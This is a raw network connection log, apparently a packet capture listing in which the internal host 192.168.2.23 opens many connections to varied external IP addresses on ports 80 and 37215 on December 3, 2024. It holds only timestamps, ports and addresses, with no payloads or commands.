Dec 3, 2024 21:30:50.286442041 CET	59010	80	192.168.2.23	177.68.137.64
Dec 3, 2024 21:30:50.286444902 CET	59010	80	192.168.2.23	172.180.41.30
Dec 3, 2024 21:30:50.286453962 CET	59010	80	192.168.2.23	107.235.81.141
Dec 3, 2024 21:30:50.286457062 CET	59010	80	192.168.2.23	168.149.252.36
Dec 3, 2024 21:30:50.286459923 CET	59010	80	192.168.2.23	61.22.191.21
Dec 3, 2024 21:30:50.286467075 CET	59010	80	192.168.2.23	20.55.181.177
Dec 3, 2024 21:30:50.286473989 CET	59010	80	192.168.2.23	70.53.83.127
Dec 3, 2024 21:30:50.286478996 CET	59010	80	192.168.2.23	59.58.78.198
Dec 3, 2024 21:30:50.286484957 CET	59010	80	192.168.2.23	103.133.75.52
Dec 3, 2024 21:30:50.286489010 CET	59010	80	192.168.2.23	158.91.224.128
Dec 3, 2024 21:30:50.286489964 CET	59010	80	192.168.2.23	74.218.109.239
Dec 3, 2024 21:30:50.286497116 CET	59010	80	192.168.2.23	148.140.234.67
Dec 3, 2024 21:30:50.286535025 CET	59010	80	192.168.2.23	164.1.172.199
Dec 3, 2024 21:30:50.286540985 CET	59010	80	192.168.2.23	63.5.15.183
Dec 3, 2024 21:30:50.286541939 CET	59010	80	192.168.2.23	47.36.24.132
Dec 3, 2024 21:30:50.286541939 CET	59010	80	192.168.2.23	109.228.155.36
Dec 3, 2024 21:30:50.286545038 CET	59010	80	192.168.2.23	69.233.102.54
Dec 3, 2024 21:30:50.286549091 CET	59010	80	192.168.2.23	206.102.212.165
Dec 3, 2024 21:30:50.286552906 CET	59010	80	192.168.2.23	92.14.138.130
Dec 3, 2024 21:30:50.286565065 CET	59010	80	192.168.2.23	222.149.103.205
Dec 3, 2024 21:30:50.286565065 CET	59010	80	192.168.2.23	190.1.128.236
Dec 3, 2024 21:30:50.286566019 CET	59010	80	192.168.2.23	52.125.76.92
Dec 3, 2024 21:30:50.286566019 CET	59010	80	192.168.2.23	95.27.241.209
Dec 3, 2024 21:30:50.286573887 CET	59010	80	192.168.2.23	4.232.73.117
Dec 3, 2024 21:30:50.286577940 CET	59010	80	192.168.2.23	69.84.92.241
Dec 3, 2024 21:30:50.286869049 CET	37778	37215	192.168.2.23	197.244.48.70
Dec 3, 2024 21:30:50.286869049 CET	37778	37215	192.168.2.23	197.244.48.70
Dec 3, 2024 21:30:50.287349939 CET	44038	80	192.168.2.23	223.118.93.51
Dec 3, 2024 21:30:50.287461042 CET	37982	37215	192.168.2.23	197.244.48.70
Dec 3, 2024 21:30:50.288256884 CET	56978	37215	192.168.2.23	41.140.236.148
Dec 3, 2024 21:30:50.288256884 CET	56978	37215	192.168.2.23	41.140.236.148
Dec 3, 2024 21:30:50.288722038 CET	38530	80	192.168.2.23	198.186.23.221
Dec 3, 2024 21:30:50.288817883 CET	57184	37215	192.168.2.23	41.140.236.148
Dec 3, 2024 21:30:50.289591074 CET	35892	37215	192.168.2.23	197.116.233.17
Dec 3, 2024 21:30:50.289591074 CET	35892	37215	192.168.2.23	197.116.233.17
Dec 3, 2024 21:30:50.290065050 CET	56708	80	192.168.2.23	8.103.67.204
Dec 3, 2024 21:30:50.290177107 CET	36100	37215	192.168.2.23	197.116.233.17
Dec 3, 2024 21:30:50.290887117 CET	52706	37215	192.168.2.23	197.216.74.198
Dec 3, 2024 21:30:50.290887117 CET	52706	37215	192.168.2.23	197.216.74.198
Dec 3, 2024 21:30:50.290952921 CET	41888	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:50.290952921 CET	41888	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:50.291181087 CET	52914	37215	192.168.2.23	197.216.74.198
Dec 3, 2024 21:30:50.291479111 CET	44212	37215	192.168.2.23	156.219.74.61
Dec 3, 2024 21:30:50.291481018 CET	53716	37215	192.168.2.23	41.237.179.59
Dec 3, 2024 21:30:50.291490078 CET	41896	37215	192.168.2.23	41.234.119.46
Dec 3, 2024 21:30:50.291492939 CET	54508	37215	192.168.2.23	197.142.63.211
Dec 3, 2024 21:30:50.291492939 CET	48310	37215	192.168.2.23	197.133.101.219
Dec 3, 2024 21:30:50.291496038 CET	42278	37215	192.168.2.23	156.82.136.102
Dec 3, 2024 21:30:50.291500092 CET	57862	37215	192.168.2.23	197.35.188.58
Dec 3, 2024 21:30:50.291513920 CET	54728	37215	192.168.2.23	156.63.118.237
Dec 3, 2024 21:30:50.291513920 CET	44720	37215	192.168.2.23	41.78.79.219
Dec 3, 2024 21:30:50.291513920 CET	49536	37215	192.168.2.23	41.218.18.192
Dec 3, 2024 21:30:50.291516066 CET	53480	37215	192.168.2.23	156.248.22.235
Dec 3, 2024 21:30:50.291516066 CET	38434	37215	192.168.2.23	156.124.6.20
Dec 3, 2024 21:30:50.291513920 CET	40768	37215	192.168.2.23	41.100.82.80
Dec 3, 2024 21:30:50.291517973 CET	55728	37215	192.168.2.23	41.97.116.95
Dec 3, 2024 21:30:50.291523933 CET	54804	37215	192.168.2.23	197.20.1.232
Dec 3, 2024 21:30:50.291524887 CET	47456	37215	192.168.2.23	41.89.56.199
Dec 3, 2024 21:30:50.291527987 CET	37722	37215	192.168.2.23	41.41.62.85
Dec 3, 2024 21:30:50.291528940 CET	49110	37215	192.168.2.23	156.180.71.22
Dec 3, 2024 21:30:50.291531086 CET	33322	37215	192.168.2.23	41.132.216.164
Dec 3, 2024 21:30:50.291532993 CET	38320	37215	192.168.2.23	156.6.99.220
Dec 3, 2024 21:30:50.291532993 CET	35154	37215	192.168.2.23	197.108.27.186
Dec 3, 2024 21:30:50.291532993 CET	40264	37215	192.168.2.23	197.2.94.37
Dec 3, 2024 21:30:50.291536093 CET	47048	37215	192.168.2.23	156.145.198.116
Dec 3, 2024 21:30:50.291542053 CET	60000	37215	192.168.2.23	197.54.174.254
Dec 3, 2024 21:30:50.291542053 CET	53538	37215	192.168.2.23	41.242.244.42
Dec 3, 2024 21:30:50.291543007 CET	58874	37215	192.168.2.23	156.209.214.149
Dec 3, 2024 21:30:50.291543007 CET	52828	37215	192.168.2.23	197.101.2.157
Dec 3, 2024 21:30:50.291547060 CET	35392	37215	192.168.2.23	156.190.237.45
Dec 3, 2024 21:30:50.291547060 CET	47342	37215	192.168.2.23	156.82.100.7
Dec 3, 2024 21:30:50.291547060 CET	35146	37215	192.168.2.23	197.142.116.145
Dec 3, 2024 21:30:50.291553020 CET	48548	37215	192.168.2.23	156.254.240.189
Dec 3, 2024 21:30:50.291635990 CET	42496	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:50.291847944 CET	47658	37215	192.168.2.23	156.128.47.189
Dec 3, 2024 21:30:50.291847944 CET	47658	37215	192.168.2.23	156.128.47.189
Dec 3, 2024 21:30:50.292421103 CET	44126	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:50.292421103 CET	44126	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:50.292521954 CET	47868	37215	192.168.2.23	156.128.47.189
Dec 3, 2024 21:30:50.293067932 CET	44734	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:50.293267965 CET	43842	37215	192.168.2.23	41.0.186.183
Dec 3, 2024 21:30:50.293267965 CET	43842	37215	192.168.2.23	41.0.186.183
Dec 3, 2024 21:30:50.293736935 CET	54002	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:50.293752909 CET	54002	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:50.293828964 CET	44054	37215	192.168.2.23	41.0.186.183
Dec 3, 2024 21:30:50.294300079 CET	54610	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:50.294519901 CET	60294	37215	192.168.2.23	156.221.107.169
Dec 3, 2024 21:30:50.294519901 CET	60294	37215	192.168.2.23	156.221.107.169
Dec 3, 2024 21:30:50.295098066 CET	50180	80	192.168.2.23	208.246.133.237
Dec 3, 2024 21:30:50.295098066 CET	50180	80	192.168.2.23	208.246.133.237
Dec 3, 2024 21:30:50.295152903 CET	60504	37215	192.168.2.23	156.221.107.169
Dec 3, 2024 21:30:50.295471907 CET	52332	80	192.168.2.23	156.152.234.108
Dec 3, 2024 21:30:50.295473099 CET	54280	80	192.168.2.23	51.30.12.228
Dec 3, 2024 21:30:50.295484066 CET	45910	80	192.168.2.23	46.56.224.146
Dec 3, 2024 21:30:50.295484066 CET	46980	80	192.168.2.23	71.241.199.137
Dec 3, 2024 21:30:50.295490026 CET	37550	80	192.168.2.23	32.52.200.179
Dec 3, 2024 21:30:50.295491934 CET	60886	80	192.168.2.23	109.170.255.145
Dec 3, 2024 21:30:50.295495987 CET	43278	80	192.168.2.23	113.147.65.116
Dec 3, 2024 21:30:50.295500040 CET	45612	80	192.168.2.23	196.184.18.109
Dec 3, 2024 21:30:50.295511007 CET	44042	80	192.168.2.23	43.224.132.202
Dec 3, 2024 21:30:50.295515060 CET	37992	80	192.168.2.23	96.138.239.29
Dec 3, 2024 21:30:50.295515060 CET	50144	80	192.168.2.23	116.89.72.201
Dec 3, 2024 21:30:50.295516014 CET	60636	80	192.168.2.23	44.110.203.30
Dec 3, 2024 21:30:50.295516014 CET	58220	80	192.168.2.23	84.80.80.191
Dec 3, 2024 21:30:50.295519114 CET	55806	80	192.168.2.23	73.240.148.23
Dec 3, 2024 21:30:50.295521975 CET	47948	80	192.168.2.23	95.173.119.198
Dec 3, 2024 21:30:50.295526981 CET	56792	80	192.168.2.23	106.112.235.0
Dec 3, 2024 21:30:50.295526981 CET	47778	80	192.168.2.23	107.185.75.32
Dec 3, 2024 21:30:50.295531988 CET	44442	80	192.168.2.23	98.250.251.241
Dec 3, 2024 21:30:50.295533895 CET	59592	80	192.168.2.23	61.221.108.188
Dec 3, 2024 21:30:50.295540094 CET	56860	80	192.168.2.23	52.145.201.68
Dec 3, 2024 21:30:50.295541048 CET	49150	80	192.168.2.23	79.143.137.11
Dec 3, 2024 21:30:50.295775890 CET	50812	80	192.168.2.23	208.246.133.237
Dec 3, 2024 21:30:50.295877934 CET	48190	37215	192.168.2.23	156.190.175.18
Dec 3, 2024 21:30:50.295877934 CET	48190	37215	192.168.2.23	156.190.175.18
Dec 3, 2024 21:30:50.296437025 CET	59906	80	192.168.2.23	145.105.254.172
Dec 3, 2024 21:30:50.296456099 CET	59906	80	192.168.2.23	145.105.254.172
Dec 3, 2024 21:30:50.296538115 CET	48402	37215	192.168.2.23	156.190.175.18
Dec 3, 2024 21:30:50.297019958 CET	60540	80	192.168.2.23	145.105.254.172
Dec 3, 2024 21:30:50.297231913 CET	45868	37215	192.168.2.23	156.79.21.228
Dec 3, 2024 21:30:50.297231913 CET	45868	37215	192.168.2.23	156.79.21.228
Dec 3, 2024 21:30:50.297766924 CET	39532	80	192.168.2.23	5.104.106.96
Dec 3, 2024 21:30:50.297766924 CET	39532	80	192.168.2.23	5.104.106.96
Dec 3, 2024 21:30:50.297851086 CET	46082	37215	192.168.2.23	156.79.21.228
Dec 3, 2024 21:30:50.298408031 CET	40168	80	192.168.2.23	5.104.106.96
Dec 3, 2024 21:30:50.298820019 CET	51182	80	192.168.2.23	46.19.30.11
Dec 3, 2024 21:30:50.298820019 CET	51182	80	192.168.2.23	46.19.30.11
Dec 3, 2024 21:30:50.299079895 CET	51818	80	192.168.2.23	46.19.30.11
Dec 3, 2024 21:30:50.299402952 CET	35140	80	192.168.2.23	167.75.81.162
Dec 3, 2024 21:30:50.299402952 CET	35140	80	192.168.2.23	167.75.81.162
Dec 3, 2024 21:30:50.299671888 CET	35776	80	192.168.2.23	167.75.81.162
Dec 3, 2024 21:30:50.299993992 CET	40592	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:50.299993992 CET	40592	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:50.300246000 CET	41228	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:50.300580978 CET	60028	80	192.168.2.23	104.234.241.23
Dec 3, 2024 21:30:50.300580978 CET	60028	80	192.168.2.23	104.234.241.23
Dec 3, 2024 21:30:50.300832033 CET	60662	80	192.168.2.23	104.234.241.23
Dec 3, 2024 21:30:50.301146984 CET	39888	80	192.168.2.23	96.227.56.195
Dec 3, 2024 21:30:50.301146984 CET	39888	80	192.168.2.23	96.227.56.195
Dec 3, 2024 21:30:50.301420927 CET	40520	80	192.168.2.23	96.227.56.195
Dec 3, 2024 21:30:50.301745892 CET	57976	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:50.301745892 CET	57976	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:50.302000046 CET	58606	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:50.302356958 CET	59458	80	192.168.2.23	81.168.40.42
Dec 3, 2024 21:30:50.302356958 CET	59458	80	192.168.2.23	81.168.40.42
Dec 3, 2024 21:30:50.302623987 CET	60088	80	192.168.2.23	81.168.40.42
Dec 3, 2024 21:30:50.302947044 CET	39598	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:50.302947044 CET	39598	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:50.303205013 CET	40228	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:50.303530931 CET	47072	80	192.168.2.23	136.13.75.65
Dec 3, 2024 21:30:50.303530931 CET	47072	80	192.168.2.23	136.13.75.65
Dec 3, 2024 21:30:50.303796053 CET	47700	80	192.168.2.23	136.13.75.65
Dec 3, 2024 21:30:50.304104090 CET	37822	80	192.168.2.23	25.253.247.243
Dec 3, 2024 21:30:50.304104090 CET	37822	80	192.168.2.23	25.253.247.243
Dec 3, 2024 21:30:50.304352999 CET	38450	80	192.168.2.23	25.253.247.243
Dec 3, 2024 21:30:50.304702997 CET	33458	80	192.168.2.23	92.42.91.229
Dec 3, 2024 21:30:50.304702997 CET	33458	80	192.168.2.23	92.42.91.229
Dec 3, 2024 21:30:50.304960966 CET	34086	80	192.168.2.23	92.42.91.229
Dec 3, 2024 21:30:50.305286884 CET	56784	80	192.168.2.23	23.46.95.33
Dec 3, 2024 21:30:50.305286884 CET	56784	80	192.168.2.23	23.46.95.33
Dec 3, 2024 21:30:50.305538893 CET	57412	80	192.168.2.23	23.46.95.33
Dec 3, 2024 21:30:50.305870056 CET	45934	80	192.168.2.23	139.246.200.67
Dec 3, 2024 21:30:50.305870056 CET	45934	80	192.168.2.23	139.246.200.67
Dec 3, 2024 21:30:50.306130886 CET	46562	80	192.168.2.23	139.246.200.67
Dec 3, 2024 21:30:50.306440115 CET	34690	80	192.168.2.23	142.202.33.132
Dec 3, 2024 21:30:50.306440115 CET	34690	80	192.168.2.23	142.202.33.132
Dec 3, 2024 21:30:50.306710958 CET	35318	80	192.168.2.23	142.202.33.132
Dec 3, 2024 21:30:50.307034016 CET	38100	80	192.168.2.23	42.199.59.6
Dec 3, 2024 21:30:50.307034016 CET	38100	80	192.168.2.23	42.199.59.6
Dec 3, 2024 21:30:50.307295084 CET	38728	80	192.168.2.23	42.199.59.6
Dec 3, 2024 21:30:50.307622910 CET	34436	80	192.168.2.23	24.149.246.129
Dec 3, 2024 21:30:50.307622910 CET	34436	80	192.168.2.23	24.149.246.129
Dec 3, 2024 21:30:50.307888031 CET	35064	80	192.168.2.23	24.149.246.129
Dec 3, 2024 21:30:50.308214903 CET	47556	80	192.168.2.23	216.131.217.108
Dec 3, 2024 21:30:50.308214903 CET	47556	80	192.168.2.23	216.131.217.108
Dec 3, 2024 21:30:50.308465958 CET	48184	80	192.168.2.23	216.131.217.108
Dec 3, 2024 21:30:50.308789968 CET	44170	80	192.168.2.23	148.66.215.250
Dec 3, 2024 21:30:50.308789968 CET	44170	80	192.168.2.23	148.66.215.250
Dec 3, 2024 21:30:50.309041023 CET	44796	80	192.168.2.23	148.66.215.250
Dec 3, 2024 21:30:50.309381962 CET	45350	80	192.168.2.23	171.48.150.224
Dec 3, 2024 21:30:50.309381962 CET	45350	80	192.168.2.23	171.48.150.224
Dec 3, 2024 21:30:50.309637070 CET	45976	80	192.168.2.23	171.48.150.224
Dec 3, 2024 21:30:50.309967995 CET	58476	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:50.309967995 CET	58476	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:50.310219049 CET	59102	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:50.310539961 CET	41664	80	192.168.2.23	24.242.230.192
Dec 3, 2024 21:30:50.310539961 CET	41664	80	192.168.2.23	24.242.230.192
Dec 3, 2024 21:30:50.310795069 CET	42290	80	192.168.2.23	24.242.230.192
Dec 3, 2024 21:30:50.311122894 CET	39552	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:50.311122894 CET	39552	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:50.311358929 CET	40178	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:50.311674118 CET	44024	80	192.168.2.23	185.221.32.180
Dec 3, 2024 21:30:50.311674118 CET	44024	80	192.168.2.23	185.221.32.180
Dec 3, 2024 21:30:50.311914921 CET	44650	80	192.168.2.23	185.221.32.180
Dec 3, 2024 21:30:50.312222004 CET	43128	80	192.168.2.23	4.17.178.247
Dec 3, 2024 21:30:50.312222004 CET	43128	80	192.168.2.23	4.17.178.247
Dec 3, 2024 21:30:50.312458038 CET	43754	80	192.168.2.23	4.17.178.247
Dec 3, 2024 21:30:50.312740088 CET	54830	80	192.168.2.23	120.196.61.187
Dec 3, 2024 21:30:50.312740088 CET	54830	80	192.168.2.23	120.196.61.187
Dec 3, 2024 21:30:50.312995911 CET	55456	80	192.168.2.23	120.196.61.187
Dec 3, 2024 21:30:50.313297987 CET	60286	80	192.168.2.23	138.250.81.210
Dec 3, 2024 21:30:50.313297987 CET	60286	80	192.168.2.23	138.250.81.210
Dec 3, 2024 21:30:50.313561916 CET	60912	80	192.168.2.23	138.250.81.210
Dec 3, 2024 21:30:50.316426992 CET	80	48818	172.153.131.92	192.168.2.23
Dec 3, 2024 21:30:50.316437006 CET	80	43838	207.88.49.48	192.168.2.23
Dec 3, 2024 21:30:50.316447973 CET	80	55744	119.211.146.165	192.168.2.23
Dec 3, 2024 21:30:50.316471100 CET	48818	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:50.316471100 CET	43838	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:50.316478014 CET	55744	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:50.316517115 CET	80	48276	149.30.241.216	192.168.2.23
Dec 3, 2024 21:30:50.316528082 CET	48818	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:50.316528082 CET	48818	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:50.316529036 CET	80	48860	168.79.240.244	192.168.2.23
Dec 3, 2024 21:30:50.316538095 CET	80	60512	143.141.87.96	192.168.2.23
Dec 3, 2024 21:30:50.316549063 CET	80	34222	147.179.254.202	192.168.2.23
Dec 3, 2024 21:30:50.316549063 CET	48276	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:50.316557884 CET	48860	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:50.316581011 CET	60512	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:50.316581011 CET	80	39454	150.63.45.186	192.168.2.23
Dec 3, 2024 21:30:50.316581011 CET	34222	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:50.316591024 CET	80	41300	69.255.176.9	192.168.2.23
Dec 3, 2024 21:30:50.316606998 CET	80	33604	40.18.80.153	192.168.2.23
Dec 3, 2024 21:30:50.316622019 CET	80	43802	79.74.148.82	192.168.2.23
Dec 3, 2024 21:30:50.316628933 CET	39454	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:50.316633940 CET	41300	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:50.316634893 CET	33604	80	192.168.2.23	40.18.80.153
Dec 3, 2024 21:30:50.316652060 CET	43802	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:50.316654921 CET	80	36052	185.96.7.190	192.168.2.23
Dec 3, 2024 21:30:50.316664934 CET	80	60610	223.111.24.66	192.168.2.23
Dec 3, 2024 21:30:50.316684961 CET	80	44394	52.117.45.194	192.168.2.23
Dec 3, 2024 21:30:50.316699028 CET	60610	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:50.316699982 CET	36052	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:50.316704035 CET	80	32938	183.134.212.93	192.168.2.23
Dec 3, 2024 21:30:50.316714048 CET	80	58148	71.187.196.149	192.168.2.23
Dec 3, 2024 21:30:50.316725016 CET	80	34066	68.81.161.145	192.168.2.23
Dec 3, 2024 21:30:50.316728115 CET	32938	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:50.316729069 CET	44394	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:50.316747904 CET	58148	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:50.316749096 CET	80	55766	116.150.62.104	192.168.2.23
Dec 3, 2024 21:30:50.316755056 CET	34066	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:50.316760063 CET	80	41738	201.148.44.14	192.168.2.23
Dec 3, 2024 21:30:50.316792011 CET	55766	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:50.316792011 CET	41738	80	192.168.2.23	201.148.44.14
Dec 3, 2024 21:30:50.316816092 CET	49444	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:50.316922903 CET	80	37090	61.41.15.72	192.168.2.23
Dec 3, 2024 21:30:50.316936970 CET	80	50612	2.81.246.81	192.168.2.23
Dec 3, 2024 21:30:50.316962957 CET	37090	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:50.316972971 CET	50612	80	192.168.2.23	2.81.246.81
Dec 3, 2024 21:30:50.317140102 CET	55744	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:50.317140102 CET	55744	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:50.317390919 CET	56370	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:50.317727089 CET	43838	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:50.317727089 CET	43838	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:50.317975998 CET	44452	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:50.318355083 CET	48860	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:50.318355083 CET	48860	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:50.318612099 CET	49486	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:50.318949938 CET	39454	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:50.318949938 CET	39454	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:50.319195032 CET	40078	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:50.319514036 CET	48276	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:50.319514036 CET	48276	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:50.319771051 CET	48900	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:50.320095062 CET	60512	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:50.320095062 CET	60512	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:50.320383072 CET	32904	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:50.320696115 CET	58148	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:50.320696115 CET	58148	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:50.320945024 CET	58770	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:50.321264982 CET	36052	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:50.321264982 CET	36052	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:50.321525097 CET	36674	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:50.321860075 CET	60610	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:50.321860075 CET	60610	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:50.322104931 CET	33000	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:50.322432995 CET	55766	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:50.322432995 CET	55766	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:50.322683096 CET	56386	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:50.322978020 CET	34222	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:50.322978020 CET	34222	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:50.323236942 CET	34842	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:50.323473930 CET	39758	37215	192.168.2.23	197.135.129.229
Dec 3, 2024 21:30:50.323472977 CET	52426	37215	192.168.2.23	41.75.37.101
Dec 3, 2024 21:30:50.323477030 CET	59834	80	192.168.2.23	12.110.131.42
Dec 3, 2024 21:30:50.323477030 CET	40860	37215	192.168.2.23	197.207.40.84
Dec 3, 2024 21:30:50.323478937 CET	48288	80	192.168.2.23	89.165.54.210
Dec 3, 2024 21:30:50.323478937 CET	43466	37215	192.168.2.23	197.88.126.13
Dec 3, 2024 21:30:50.323484898 CET	59368	80	192.168.2.23	130.122.83.128
Dec 3, 2024 21:30:50.323492050 CET	45534	80	192.168.2.23	110.230.253.216
Dec 3, 2024 21:30:50.323492050 CET	58864	80	192.168.2.23	97.223.129.229
Dec 3, 2024 21:30:50.323502064 CET	58056	80	192.168.2.23	178.59.183.48
Dec 3, 2024 21:30:50.323503017 CET	47992	37215	192.168.2.23	197.149.25.70
Dec 3, 2024 21:30:50.323503971 CET	58860	37215	192.168.2.23	197.141.230.40
Dec 3, 2024 21:30:50.323504925 CET	39832	37215	192.168.2.23	156.204.211.160
Dec 3, 2024 21:30:50.323504925 CET	55220	80	192.168.2.23	200.11.18.9
Dec 3, 2024 21:30:50.323506117 CET	41170	37215	192.168.2.23	41.199.240.185
Dec 3, 2024 21:30:50.323506117 CET	38668	37215	192.168.2.23	156.208.144.191
Dec 3, 2024 21:30:50.323506117 CET	36590	37215	192.168.2.23	41.34.28.62
Dec 3, 2024 21:30:50.323506117 CET	52004	37215	192.168.2.23	197.110.220.245
Dec 3, 2024 21:30:50.323508978 CET	58354	80	192.168.2.23	102.60.181.107
Dec 3, 2024 21:30:50.323512077 CET	33304	80	192.168.2.23	107.226.250.115
Dec 3, 2024 21:30:50.323513031 CET	55964	37215	192.168.2.23	156.228.12.69
Dec 3, 2024 21:30:50.323513031 CET	59296	80	192.168.2.23	129.164.231.71
Dec 3, 2024 21:30:50.323513031 CET	35586	37215	192.168.2.23	156.146.30.0
Dec 3, 2024 21:30:50.323515892 CET	35512	37215	192.168.2.23	197.222.17.240
Dec 3, 2024 21:30:50.323515892 CET	34412	80	192.168.2.23	115.99.6.127
Dec 3, 2024 21:30:50.323515892 CET	44980	80	192.168.2.23	218.251.189.170
Dec 3, 2024 21:30:50.323519945 CET	50156	80	192.168.2.23	58.168.110.144
Dec 3, 2024 21:30:50.323527098 CET	55628	37215	192.168.2.23	156.147.54.190
Dec 3, 2024 21:30:50.323529005 CET	57084	80	192.168.2.23	182.169.32.170
Dec 3, 2024 21:30:50.323529005 CET	38218	37215	192.168.2.23	156.49.47.44
Dec 3, 2024 21:30:50.323528051 CET	39498	37215	192.168.2.23	197.228.103.42
Dec 3, 2024 21:30:50.323528051 CET	36642	37215	192.168.2.23	197.49.211.124
Dec 3, 2024 21:30:50.323529959 CET	42836	37215	192.168.2.23	197.61.249.158
Dec 3, 2024 21:30:50.323529005 CET	51684	80	192.168.2.23	76.148.251.234
Dec 3, 2024 21:30:50.323530912 CET	48028	80	192.168.2.23	64.8.100.136
Dec 3, 2024 21:30:50.323530912 CET	54644	80	192.168.2.23	123.240.89.124
Dec 3, 2024 21:30:50.323530912 CET	60460	37215	192.168.2.23	156.247.59.94
Dec 3, 2024 21:30:50.323534966 CET	44266	37215	192.168.2.23	197.40.117.40
Dec 3, 2024 21:30:50.323534966 CET	48396	37215	192.168.2.23	156.245.169.115
Dec 3, 2024 21:30:50.323534966 CET	60354	80	192.168.2.23	198.116.35.7
Dec 3, 2024 21:30:50.323537111 CET	33120	80	192.168.2.23	52.200.108.226
Dec 3, 2024 21:30:50.323537111 CET	60738	80	192.168.2.23	202.97.254.254
Dec 3, 2024 21:30:50.323622942 CET	44394	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:50.323622942 CET	44394	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:50.323875904 CET	45012	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:50.324187040 CET	41300	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:50.324187040 CET	41300	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:50.324443102 CET	41918	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:50.324798107 CET	43802	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:50.324798107 CET	43802	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:50.325052977 CET	44420	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:50.325376034 CET	41738	80	192.168.2.23	201.148.44.14
Dec 3, 2024 21:30:50.325376034 CET	41738	80	192.168.2.23	201.148.44.14
Dec 3, 2024 21:30:50.325623989 CET	42354	80	192.168.2.23	201.148.44.14
Dec 3, 2024 21:30:50.325947046 CET	34066	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:50.325947046 CET	34066	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:50.326200008 CET	34682	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:50.326527119 CET	33604	80	192.168.2.23	40.18.80.153
